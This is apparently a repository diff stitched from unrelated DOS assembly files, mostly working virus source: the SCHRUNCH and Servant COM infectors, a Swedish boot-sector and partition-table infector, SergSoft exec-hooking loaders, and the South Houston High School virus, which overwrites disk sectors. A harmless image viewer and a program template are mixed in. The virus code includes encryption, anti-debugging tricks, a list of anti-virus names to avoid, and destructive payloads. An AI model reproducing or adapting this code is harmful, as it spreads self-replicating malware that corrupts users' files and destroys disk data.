lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+com_mask]
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc done_infections ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,2000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
jmp activate ; Always activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
int 21h
retn ; 100h is on stack
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
activate: ; ******************************
mov ax,0003h ; stick 3 into ax.
int 10h ; Set up 80*25, text mode. Clear the screen, too.
mov ax,1112h ; We are gunna use the 8*8 internal font, man.
int 10h ; Hey man, call the interrupt.
mov ah,09h ; Use DOS to print fake error message
mov dx,offset fake_msg
int 21h
mov ah,4ch ; Lets ditch.
int 21h ; "Make it so."
jmp exit_virus
virusname db '[SCHRUNCH]',0
author db '[pAgE]',0
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
fake_msg db "Eddy lives somewhere in time!!! Psyche!$"
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
@@ -0,0 +1,260 @@
; Senast „ndrad 891213.
;
; L„gger gamla bootsectorn p† sida 1, sp†r 0, sector 3.
; sida 0, sp†r 0, sector 7 p† HD.
Code Segment
Assume cs:Code
Org 0000h
Main Proc Far
db 0EAh,05h,00h,0C0h,07h
jmp Near Ptr Init ; Hoppa f”rbi variabler och nya int13h
; Variabler
Old13h dd 0 ; Gamla vectorn till diskfunktionerna.
TmpVec dd 0 ; Tempor„r vec. vid „ndring av int 13.
BootPek dw 0003h,0100h
; Slut p† variabler
Int13h Proc Near
push ds
push ax
push bx
cmp dl,00h ; Drive A
jne Exit
cmp ah,02h
jb Exit
cmp ah,04h
ja Exit ; Kolla s† att func. 2-4
sub ax,ax
mov ds,ax
mov bx,043Fh ; Motor status byte.
test Byte Ptr [bx],01h ; Testa om motorn i A: „r p†..
jnz Exit ; Nej,hoppa till gamla int 13h
call Smitta
Exit: pop bx
pop ax
pop ds
jmp [Old13h]
Smitta Proc Near
push cx
push dx
push si
push di
push es
push cs
pop es
push cs
pop ds
mov si,0004h ; Max antal f”rs”k.
Retry: mov ax,0201h ; L„s en sector
mov bx,0200h ; L„s hit.
mov cx,0001h ; Sp†r 0 Sector 1
sub dx,dx ; Sida 0 Drive 0
pushf
call [Old13h] ; L„s in booten.
jnc OK
dec si
jz Slut ; Hoppa ur om fel.
jmp Retry ; F”rs”k max 4 g†nger.
OK: mov si,0200h
sub di,di
cld
lodsw
cmp ax,[di]
jne L2
lodsw
cmp ax,[di+2]
jne L2
jmp Slut
L2: mov ax,0301h ; Skriv en sector.
mov bx,0200h
mov cx,0003h ; Sp†r 0 Sector 3
mov dx,0100h ; Sida 1 Drive 0
pushf
call [Old13h] ; Flytta boot sectorn.
mov ax,0301h
sub bx,bx
mov cx,0001h
sub dx,dx
pushf
call [Old13h] ; Skriv ner viruset till booten.
Slut: pop es
pop di
pop si
pop dx
pop cx
ret
Smitta Endp
Int13h Endp
Init: sub ax,ax
mov ds,ax ; Nollar ds f”r att „ndra vect.
cli
mov ss,ax
mov sp,7C00h
sti ; S„tter upp en ny stack.
push cs
pop es
mov di,Offset Old13h
mov si,004Ch
mov cx,0004h
cld
rep movsb ; Flytta int 13h vectorn.
mov bx,0413h
mov ax,[bx] ; Minnesstorleken till ax.
dec ax
dec ax
mov [bx],ax ; Reservera plats f”r viruset.
mov cl,06h
shl ax,cl
mov es,ax ; Omvandla till segment addres.
mov Word Ptr TmpVec,Offset Int13h
mov Word Ptr TmpVec+2,es
push es
sub ax,ax
mov es,ax
push cs
pop ds
mov si,Offset TmpVec
mov di,004Ch
mov cx,0004h
rep movsb
pop es
sub si,si
mov di,si
mov cx,0200h ; Hela viruset + lite till.
rep movsb
mov ax,Offset Here
push es
push ax
ret ; Hoppa till viruset.
Here: sub ax,ax
int 13h ; terst„ll driven
sub ax,ax
mov es,ax
mov ax,0201h ; L„s en sector funk.
mov bx,7C00h ; Hit laddas booten normalt.
mov cx,BootPek
mov dx,BootPek+2
int 13h
push cs
pop es
mov ax,0201h
mov bx,0200h
mov cx,0001h
mov dx,0080h
int 13h ; L„s in partions tabellen.
jc Over
push cs
pop ds
mov si,0200h
sub di,di
lodsw
cmp ax,[di] ; Kolla om den „r smittad.
jne HdInf
lodsw
cmp ax,[di+2]
jne HdInf
Over: mov BootPek,0003h
mov BootPek+2,0100h
sub bx,bx
push bx
mov bx,7C00h
push bx
ret ; K”r den gamla booten.
HdInf: mov BootPek,0007h
mov BootPek+2,0080h
mov ax,0301h
mov bx,0200h
mov cx,0007h
mov dx,0080h
int 13h ; Flytta orgin. part.tabellen.
jc Over
push cs
pop ds
push cs
pop es
mov si,03BEh
mov di,01BEh
mov cx,0042h
cld
rep movsb ; Kopiera part. data till viruset.
mov ax,0301h
sub bx,bx
mov cx,0001h
mov dx,0080h
int 13h ; Skriv viruset till part. tabellen.
sub ax,ax
mov es,ax ; Kolla om msg:et ska skrivas ut.
test Byte Ptr es:[046Ch],07h
jnz HdInf1
mov si,Offset Txt ; Detta utf”rs bara om man bootar fr†n
cld ; diskett.
Foo1: lodsb
cmp al,00h
je HdInf1
mov ah,0Eh
sub bx,bx
int 10h
jmp Foo1
HdInf1: jmp Over
Slutet Label Byte ; Anv„nds f”r att veta var slutet „r.
Txt db 07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h
Main Endp
Code Ends
End

+238
View File
@@ -0,0 +1,238 @@
; +----------------------------------------------------+ ;
; | Sample DVM Shower for use with the Magic Assembler | ;
; +----------------------------------------------------+ ;
mov ah,09
mov dx,offset(headtxt)
int 21
cmp byte [0081],0d
jne @1
mov dx,offset(syntax)
jmp error
@1 mov si,0082
mov showit,00
@4 lodsb
cmp al,'/'
jne @5
mov byte [si-01],00
lodsb
cmp al,'i'
jne @6
mov showit,ff
jmps @5
@6 cmp al,'I'
jne @5
mov showit,ff
@5 cmp al,0d
jne @4
mov byte [si-01],00
mov ax,3d00
mov dx,0082
int 21
jnc @7
mov dx,offset(openerr)
jmp error
@7 mov handle,ax
mov bx,ax
mov ah,3f
mov cx,0003
mov dx,offset(header)
int 21
mov si,offset(header)
mov di,offset(musthd)
mov cx,0003
@8 cmpsb
jne @9
loop @8
jmps @10
@9 mov dx,offset(notdvm)
jmp error
@10 mov ah,3f
mov cx,0001
mov dx,offset(fullqrt)
int 21
cmp fullqrt,'V'
je @11
cmp fullqrt,'Q'
je @12
mov infobyt,a0
jmps @13
@12 mov infobyt,20
jmps @13
@11 mov ah,3f
mov dx,offset(version)
int 21
cmp version,31
jna @14
mov dx,offset(verr)
jmp error
@14 mov ah,3f
mov dx,offset(infobyt)
int 21
@13 mov ah,3f
mov cx,0002
mov dx,offset(dtime)
int 21
test infobyt,08
jz @15
mov ah,3f
mov dx,offset(l)
int 21
mov cx,l
@16 push cx
mov ah,3f
mov cx,0001
mov dx,offset(ch)
int 21
push bx
mov ah,0e
mov al,ch
xor bh,bh
cmp showit,ff
je @17
int 10
@17 pop bx
pop cx
loop @16
xor ah,ah
cmp showit,ff
jne @15
int 16
@15 mov ax,0013
int 10
push bx
mov ax,1012
mov bx,0000
mov cx,0100
mov dx,offset(palette)
int 10
pop bx
mov ax,a000
mov es,ax
@28 test infobyt,20
jz @32
mov ah,3f
mov dx,offset(palette)
test infobyt,10
jnz @33
mov cx,0030
jmps @34
@33 mov cx,0300
@34 int 21
cmp ax,cx
jne @27
push bx
push es
mov ax,ds
mov es,ax
mov ax,1012
xor bx,bx
test infobyt,10
jnz @35
mov cx,0010
jmps @36
@35 mov cx,0100
@36 int 10
pop es
pop bx
@32 xor di,di
test infobyt,80
jz @18
mov cx,00c8
jmps @19
@18 mov cx,0064
@19 push cx
test infobyt,40
jz @20
call showcpr
jmps @21
@20 call showucp
@21 cmp ah,00
ja @27
test infobyt,80
jnz @22
add di,00a0
@22 pop cx
loop @19
jmps @28
@27 mov ah,3e
mov bx,handle
int 21
xor ah,ah
int 16
mov ax,0003
int 10
mov ax,4c00
int 21
showcpr test infobyt,80
jz @23
mov cx,00a0
jmps @24
@23 mov cx,0050
@24 mov ah,3f
mov dx,offset(line)
int 21
cmp ax,cx
je @26
mov ah,ff
ret
@26 mov si,offset(line)
@25 push cx
lodsb
push ax
and al,f0
mov cl,04
shr al,cl
es:
mov [di],al
pop ax
and al,0f
es:
mov [di+01],al
add di,0002
pop cx
loop @25
xor ah,ah
ret
showucp test infobyt,80
jz @31
mov cx,0140
jmps @29
@31 mov cx,00a0
@29 mov ah,3f
mov dx,offset(line)
int 21
mov si,offset(line)
cmp cx,ax
je @30
mov ah,ff
ret
@30 movsb
loop @30
xor ah,ah
ret
error mov ah,09
int 21
mov ax,4c00
int 21
headtxt db 'Show DVM - Written by Bert for Magic Software - Development Kit Version' 0a 0d '$'
musthd db 'DVM'
notdvm db 'Not a DVM' 0a 0d '$'
openerr db 'Cannot open file' 0a 0d '$'
palette dbe DVMPAL.BIN
syntax db 'Syntax: SDA [Filename.DVM][/I]' 0a 0d '/I shows included text (if exist)' 0a 0d '$'
verr db 'Cannot display this version' 0a 0d '$'
-
ch db ?
dtime dw ?
fullqrt db ?
handle dw ?
header ds 3
infobyt db ?
l dw ?
line ds 140
showit db ?
version db ?
@@ -0,0 +1,85 @@
.286
.model tiny
.radix 16
.code
a equ 0B8
org 100
e: dec bp
push si
push cs
push cs
scasw
mov al,27
mov bl,14
mov es,ax
pusha
cmpsw
popa
mov cl,l-e
rep movsb ;es:di = 2E:l-e ds:si = CS:l-e+100
mov ds,cx
jz f
push ax
xchg [bx+di],ax
stosw
pop ax
xchg [bx+di],ax
stosw
f: pop ds
lodsw
xchg ax,cx
pop es
pop di
rep movsb
jmp e
h: pusha
;cld
push ds
push es
xor ah,4bh
jnz j ;if not 'exec'
mov ax,3D02 ;open file
int a
jc j ;if not found
xchg bx,ax ;bx = handler
mov ch,0A0
mov ds,cx ;8C??:2 buffer
push ds
pop es
mov ch,0FA ;all bytes
xor di,di
mov dx,2
mov ah,3F
int a ;read all bytes
stosw
cmp byte ptr [di],4dh
jz i
add ax,dx
push ax
mov ax,4200
cwd
mov cx,dx
int a
mov ah,40
push cs
pop ds ;ds = 31
mov cl,l-e
int a ;write virus code
mov ah,40
push es
pop ds
pop cx
int a
i: mov ah,3E
int a
j: pop es
pop ds
popa
r: db 0EA
l: dw 30
d: mov dx,c-d+100
mov ah,09
int 21h
ret
c: db ' Virus loader by SergSoft (c)1991',0D,0A,24
end e
@@ -0,0 +1,88 @@
.286
.model tiny
.radix 16
.code
a equ 0D6
org 100
e: dec bp
push cs
push si
push cs
mov al,2E
push ax
mov es,ax
xor di,di
mov cl,l-e
rep movsb ;es:di = 2F:l-e ds:si = CS:l-e+100
push n-e
retf
n: push si
mov si,84
mov ds,cx
cmp [si],ax
jz f
movsw
mov [si-2],ax
xchg [si],ax
stosw
f: pop si
pop es ;es = CS
push es
pop ds ;ds = CS
lodsw
xchg cx,ax
pop di
push di
rep movsb ;es:di = CS:100
retf
h: pusha
push ds
push es
xor ah,4bh
jnz j ;if not 'exec'
mov ax,3D02 ;open file
int a
jc j ;if not found
xchg bx,ax ;bx = handler
mov ch,8C
mov ds,cx ;8C??:2 buffer
push ds
pop es
mov ch,0FA ;all bytes
xor di,di
mov dx,2
mov ah,3F
int a ;read all bytes
cld
stosw
cmp byte ptr [di],4dh
jz i
add ax,dx
push ax
mov ax,4200
cwd
mov cx,dx
int a
mov ah,40
push cs
pop ds ;ds = 31
mov cl,l-e
int a ;write virus code
mov ah,40
push es
pop ds
pop cx
int a
i: mov ah,3E
int a
j: pop es
pop ds
popa
r: db 0EA
l: dw 30
d: mov dx,c-d+100
mov ah,09
int 21h
ret
c: db ' Virus loader by SergSoft (c)1991',0D,0A,24
end e
@@ -0,0 +1,294 @@
;
; Servant Virus by John Tardy / TridenT
;
; Virus Name: Servant
; Aliases:
; V Status: Released
; Discovery: Not (yet)
; Symptoms: .COM growth, message on Novell File server
; Origin: The Netherlands
; Eff Length: 444 Bytes
; Type Code: PNC - Parasitic Non-Resident .COM Infector
; Detection Method:
; Removal Instructions: Delete infected files
;
; General Comments:
; The Servant virus is not yet submitted to any antiviral authority. It
; is from The Netherlands. Servant is a non-resident infector of .COM
; files, but a program name beginning with CA, VA, GU, CO, 4D, VS or
; TB will not be infected. Servant infected programs will have a file
; length increase of 444 Bytes. The virus will be located at the end
; of the infected file. There will be no change in the file's date and
; time in a DOS directory listing.
Version Equ 1 ; Initial release.
Org 0h ; Creates a .BIN file.
; This piece of code is located at the begin of the file
Start: Jmp MainVir ; Jump to the main virus.
Db '*' ; Infection marker.
; This will be appended to the victim
MainVir: Lea Si,Decr ; This is the decryptor, which
DecrOfs Equ $-2 ; is mutated from the main
Mov Cx,DecrLen ; virus. It uses a simple xor
Decrypt: Xor B [Si],0 ; algorithm. It uses three
DecVal Equ $-1 ; different index regs, Si, Di
Incer: Inc Si ; or Bx. The Xor OpCode can be
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
MainLen Equ $-Mainvir ; LoopNz.
; From here everything is encrypted
Decr: Call On1 ; Get Offset of the appended
On1: Pop BP ; virus by pushing the call on
Sub BP,On1 ; the stack and retrieve the
; address.
Mov W TrapIt[Bp],KillDebug ; This routine restores the
Lea Si,OrgPrg[Bp] ; beginning of the original
TrapIt Equ $-2 ; file, except when run from
Mov Di,100h ; a debugger. It will then
Push Di ; put the routine at
Push Ax ; KillDebug in place of that,
Movsw ; this locking the system
Movsw ; after infection and
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
Mov W TrapIt[Bp],OrgPrg ;
Mov Ah,19h ; We don't want to infect
Int 21h ; programs on floppy drive,
Cmp Al,2 ; we then go to NoHD.
Jb NoHD ;
Mov Ah,1ah ; Use a new DTA.
Mov Dx,0fd00h ;
Int 21h ;
In Al,21h ; This makes DOS DEBUG to
Or Al,2 ; hang and thus making
Out 21h,Al ; beginning virus-researchers
Xor Al,2 ; a hard time.
Out 21h,Al ;
Mov Ah,4eh ; Search a .COM file in the
Search: Lea Dx,FileSpec[BP] ; current directory.
Xor Cx,Cx ;
Int 21h ;
Jnc Found ; If found, goto found,
NoHD: Jmp Ready ; else goto ready.
KillDebug: Cli ; The routine that will be
Jmp KillDebug ; activated by the antidebug
; part.
; Here follows a table of filenames to avoid with infecting.
Tabel Db 'CA' ; Catcher (Gobbler).
Db 'VA' ; Validate (McAfee).
Db 'GU' ; Guard (Dr. Solomon).
Db 'CO' ; Command.Com (Microsoft).
Db '4D' ; 4Dos (JP Software).
Db 'VS' ; VSafe (CPav).
Db 'TB' ; TbDel (Esass).
TabLen Equ $-Tabel
Found: Mov Bx,[0fd1eh] ; This routine checks if
Lea Si,Tabel[Bp] ; the candidate file begins
Mov Cx,TabLen/2 ; with the chars in the table
ChkNam: Lodsw ; above. If so, it goes to
Cmp Ax,Bx ; SearchNext.
Je SearchNext ;
Loop ChkNam ;
mov dx,0fd1eh ; Open the file with only
Mov Ax,3d00h ; read access.
Int 21h ;
Xchg Ax,Bx ; Put Filehandle to BX.
Mov Ah,45h ; Duplicate Filehandle and
Int 21h ; use the new one (confuses
Xchg Ax,Bx ; some resident monitoring
; software (TBFILE)).
mov Ax,1220h ; This is a tricky routine
push bx ; used to get the offset
int 2fh ; to the File Handle Table,
mov bl,es:[di] ; where we can change
Mov Ax,1216h ; directly some things.
int 2fh ;
pop bx ;
mov ds,es ;
mov byte ptr [di+2],2 ; File now open with write
; access.
mov al,b [di+4] ; Store old file attributes
mov b [di+4],0 ; and clear it.
push ax ;
push ds ; Store FHT on the stack.
push di ;
mov ds,cs ; Restore old Ds and Es
mov es,cs ; (with .COM equal to Cs).
Mov Ah,3fh ; Read the first 4 bytes
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
Mov Cx,4 ; (the call remember?)).
Int 21h ;
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
Cmp Ax,'ZM' ; .EXE file. If so, goto
Je ExeFile ; ExeFile.
Cmp Ax,'MZ' ;
Je ExeFile ;
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
Jne Infect ; If not so, goto Infect.
ExeFile: Call Close ; Call file close routine.
SearchNext: Mov Ah,4fh ; And search the next victim.
Jmp Search ;
Infect: Mov Ax,4202h ; Jump to EOF.
Cwd ;
Xor Cx,Cx ;
Int 21h ;
Sub Ax,3 ; Calculate the Jump and the
Mov CallPtr[BP+1],Ax ; decryptor offset values.
Add Ax,(Offset Decr+0ffh) ;
Mov DecrOfs[Bp],Ax ;
Call EncryptIt ; Call Encryption engine.
Mov Ah,40h ; Write the decoder to the
Lea Dx,MainVir[Bp] ; end of the file.
Mov Cx,MainLen ;
Int 21h ;
Mov Ah,40h ; And append the encrypted
Lea Dx,EndOfVir[BP] ; main virus body to it
Mov Cx,DecrLen ; also.
Int 21h ;
Mov Ax,4200h ; Jump to the beginning of
Cwd ; the file.
Xor Cx,Cx ;
Int 21h ;
Mov Ah,40h ; And write the jump to the
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
Mov Cx,4 ; the file.
Int 21h ;
Call Close ; Call close routine.
Ready: Mov Ah,1ah ; Restore the DTA.
Mov Dx,80h ;
Int 21h ;
Pop Ax ; Restore error register.
Ret ; Return to host (at 100h).
Close: Pop Si
pop di ; Restore FHT offset again.
pop ds ;
or b [di+6],40h ; Do not change file date/time
; stamps.
pop ax ; Restore file attributes.
mov b [di+4],al ;
Mov Ah,3eh ; Close file.
Int 21h ;
mov ds,cs ; Restore Ds segment.
Push Si
Ret
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
OrgPrg: Int 20h ; Original 4 bytes of the
Nop ; host program.
Nop ;
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
Mov Ds,Ax ; random value).
Mov Ah,B Ds:[046ch] ;
Mov Ds,Cs ; If Ah is not zero, goto
Cmp Ah,0 ; GenKey.
Jne GenKey ;
Lea Si,NovMsg[Bp] ; This function will send a
Lea Di,EndOfVir[Bp] ; message to the Novell
Mov Ah,0e1h ; Server CONSOLE!!!
Int 21h ;
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
Lea Si,Decr[Bp] ; to the address just at the
Lea Di,EndOfVir[Bp] ; end of the virus.
Mov Cx,DecrLen ;
Encrypt: Lodsb ;
Xor Al,Ah ;
Stosb ;
Loop Encrypt ;
Xor B Decrypt[Bp],2 ; Make the Xor variable.
Test Ah,4 ; Make the Loop variable
Jc NoGarble ; (xor works like a switch
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
Xchg Ah,Al ; Read the different
And Ax,0003h ; Si, Di, Bx instructions
Mov Si,Ax ; from the table and store
Add Si,PolyTable ; them into the decrytor, thus
Add Si,Bp ; making it recognizable only
Lodsb ; at 4 bytes. (or nibble
Mov B MainVir[Bp],Al ; checking is usable).
Add Si,3 ;
Lodsb ;
Mov B Decrypt[Bp+1],Al ;
Add Si,3 ;
Lodsb ;
Mov B Incer[Bp],Al ;
NoGarble: Ret ; Return to called
NovMsg Dw FuncLen ; The Novell packet to
Func Db 09h ; send. This sends my name
Db MsgLen ; to the fileserver, making
Msg Db 'John Tardy / TridenT' ; the supervisor hysterical!
MsgLen Equ $-Msg ;
FuncLen Equ $-Func ;
; Table with functions for polymorphing
PolyTable Equ $
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
DB Version ; Virus version number
DecrLen Equ $-Decr
EndOfVir Equ $
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+9
View File
@@ -0,0 +1,9 @@
Start Stop Length Name Class
00000H 0131FH 01320H _TEXT CODE
01320H 01320H 00000H _DATA DATA
01320H 0171FH 00400H STACK STACK
Program entry point at 0000:0000
@@ -0,0 +1,19 @@
;assembly language shell for a simple COM file program
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H
START:
FINISH: mov ah,4CH
mov al,0
int 21H ;terminate normally with DOS
MAIN ENDS
END START

+239
View File
@@ -0,0 +1,239 @@
; Source code to South Houston High School virus ;
codeseg segment
assume cs:codeseg, ds:codeseg
org 100h
cr equ 13
lf equ 10
tab equ 9
start:
call encrypt_decrypt
jmp random_mutation
encrypt_val db 0
infect_file:
mov bx,handle ; (648C:01F2=0)
push bx ; Save handle
call encrypt_decrypt ; encrypt code
pop bx ; Restore handle
mov cx,offset eof-offset start ; Length of code
mov dx,offset start ; Start of code
mov ah,40h ; Write to handle BX
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
call encrypt_decrypt ; decrypt code
mov al,encrypt_val ; AL= code #
add al,13 ; add 13
adc al,0 ; plus carry
mov encrypt_val,al ; save new value
ret ; Return
encrypt_decrypt:
mov bx,offset encrypted ; offset of encrypted
; code in memory
mov al,encrypt_val ; encryption value
or al,al ; 0 ?
jz skipcryptor ; Don't waste time
xor_loop: xor byte ptr [bx],al ; modify byte
inc bx ; next byte, please
add al,bh ; adjust encryption key
cmp bx,offset eof ; are we done yet?
jle xor_loop ; Nope, keep goin'
skipcryptor: ret ; Yep, bye bye!
; The code from here on is encrypted until run-time (except in the case of a
; first-run copy).
encrypted:
exe_filespec db '*.EXE',0
com_filespec db '*.COM',0
newdir db '..',0
fake_msg db 'Program too big to fit in memory',cr,lf,'$'
virus_msg db cr,lf,tab,'I',39,'m sorry, Dave... but '
db 'I',39,'m afraid I can',39,'t do that!',cr,lf,cr,lf
db cr,lf,tab,'Dedicated to the dudes at SHHS'
db cr,lf,tab,'The BOOT SECTOR Infector ...',cr,lf,'$'
random_mutation: mov si,offset fname ; point to fname
mov di,offset tfname ; point to tfname
mov cx,13 ; 13 chars
rep movsb ; copy the string
cmp byte ptr encrypt_val,0 ; encryption value
je install_val ; Jump if equal
mov ah,2Ch ; Get time
int 21h ; Call DOS to ^
cmp dh,55 ; more than 55 seconds?
jg find_extension ; Yes: don't mutate
install_val: or dl,dl ; DL = 0 ?
jnz skipmutation ; No need to mutate
skipmutation: mov encrypt_val,dl ; save code number
find_extension: mov byte ptr files_found,0 ; Haven't found any yet
mov byte ptr files_infected,3 ; No more than 3 files
mov byte ptr success,0 ; No successful tries
find_exe: mov cx,27h ; attr: R/O,HID,SYS,ARC
mov dx,offset exe_filespec ; point to '*.EXE',0
mov ah,4Eh ; Find first
int 21h ; DOS Services
jc find_com ; No more? Find EXE
call find_healthy ; Find a healthy file
find_com: mov cx,27h ; attr: R/O,HID,SYS,ARC
mov dx,offset com_filespec ; point to '*.COM',0
mov ah,4Eh ; Find first match
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jc chdir ; No more? CD ..
call find_healthy ; Start over
chdir: mov dx,offset newdir ; point to '..',0
mov ah,3Bh ; CHDIR ..
int 21h ; DOS Services
jnc find_exe ; Look for EXEs
jmp exit_virus ;
find_healthy: mov bx,80h ; points at DTA
mov ax,[bx+15h] ; original attribute
mov orig_attr,ax ; ^
mov ax,[bx+16h] ; original time stamp
mov orig_time,ax ; ^
mov ax,[bx+18h] ; original date stamp
mov orig_date,ax ; ^
mov dx,9Eh ; filename
xor cx,cx ; zero out attributes
mov ax,4301h ; set attribute
int 21h ; DOS Services
mov ax,3D02h ; Open file read&write
int 21h ; DOS Services
mov handle,ax ; save file handle
mov bx,ax ; place ^ in BX
mov cx,20 ; read in 20 chars
mov dx,offset compare_buff ; Points to buffer
mov ah,3Fh ; Read file
int 21h ; DOS Services
mov bx,offset compare_buff ; Points to buffer
mov ah,encrypt_val ; Encryption value
mov [bx+offset encrypt_val-100h],ah ; Fill in the blank
mov si,100h ; Point to code's start
mov di,offset compare_buff ; Point to buffer
repe cmpsb ; Compare buff to code
jne healthy ; Didn't match, jump...
call close_file ; Close the file
inc byte ptr files_found ; Found one!
continue_search: mov ah,4Fh ; Find next
int 21h ; DOS Services
jnc find_healthy ; Find more
no_more_found: ret ; RETurn
healthy: mov bx,handle ; (648C:01F2=0)
mov ah,3Eh ; Close file
int 21h ; DOS Services
mov ax,3D02h ; Open file read&write
mov dx,9Eh ; Filename is ....
int 21h ; DOS Services
mov si,dx ; Point to filename
mov di,offset fname ; Point to fname
mov cx,13 ; Copy 13 chars
rep movsb ; Copy filename
mov handle,ax ; save handle
call infect_file ; infect file
call close_file ; close file
inc byte ptr success ; Success!!!
dec byte ptr files_infected ; We got one!
jz exit_virus ; Jump if zero
jmp short continue_search ; Continue the search
close_file: mov bx,handle ; get handle
mov cx,orig_time ; get original time
mov dx,orig_date ; get original date
mov ax,5701h ; set date/time stamp
int 21h ; DOS Services
mov ah,3Eh ; close file
int 21h ; DOS Services
mov cx,orig_attr ; get original attrib
mov ax,4301h ; get/set attribute
mov dx,9Eh ; point to filename
int 21h ; DOS Services
ret ; RETurn
exit_virus: cmp byte ptr files_found,8 ; Found at least 8?
jl print_fake ; No, keep low profile
cmp byte ptr success,0 ; Got anything?
jg print_fake ; Yep, cover it up
mov ah,9 ; Print string
mov dx,offset virus_msg ; Point to virus msg
int 21h ; DOS Services
mov ah,19h ; Get current disk
int 21h ; Call DOS to ^
mov si,offset tfname ; Point to tfname
mov di,offset fname ; Point to fname
mov cx,13 ; Copy 13 chars
rep movsb ; Copy filename
mov bx,offset kbstr ; BX points to message
xor dx,dx ; Start at boot sector
mov cx,35 ; 35 sectors
int 26h ; Absolute disk write, drive al
jmp short terminate ; End of the line!
print_fake: mov ah,9 ; Print string
mov dx,offset fake_msg ; DX points to fake msg
int 21h ; DOS Services
terminate:
mov ax,305h ; Set typematic rate
mov bx,31Fh ; Long delay, fast reps
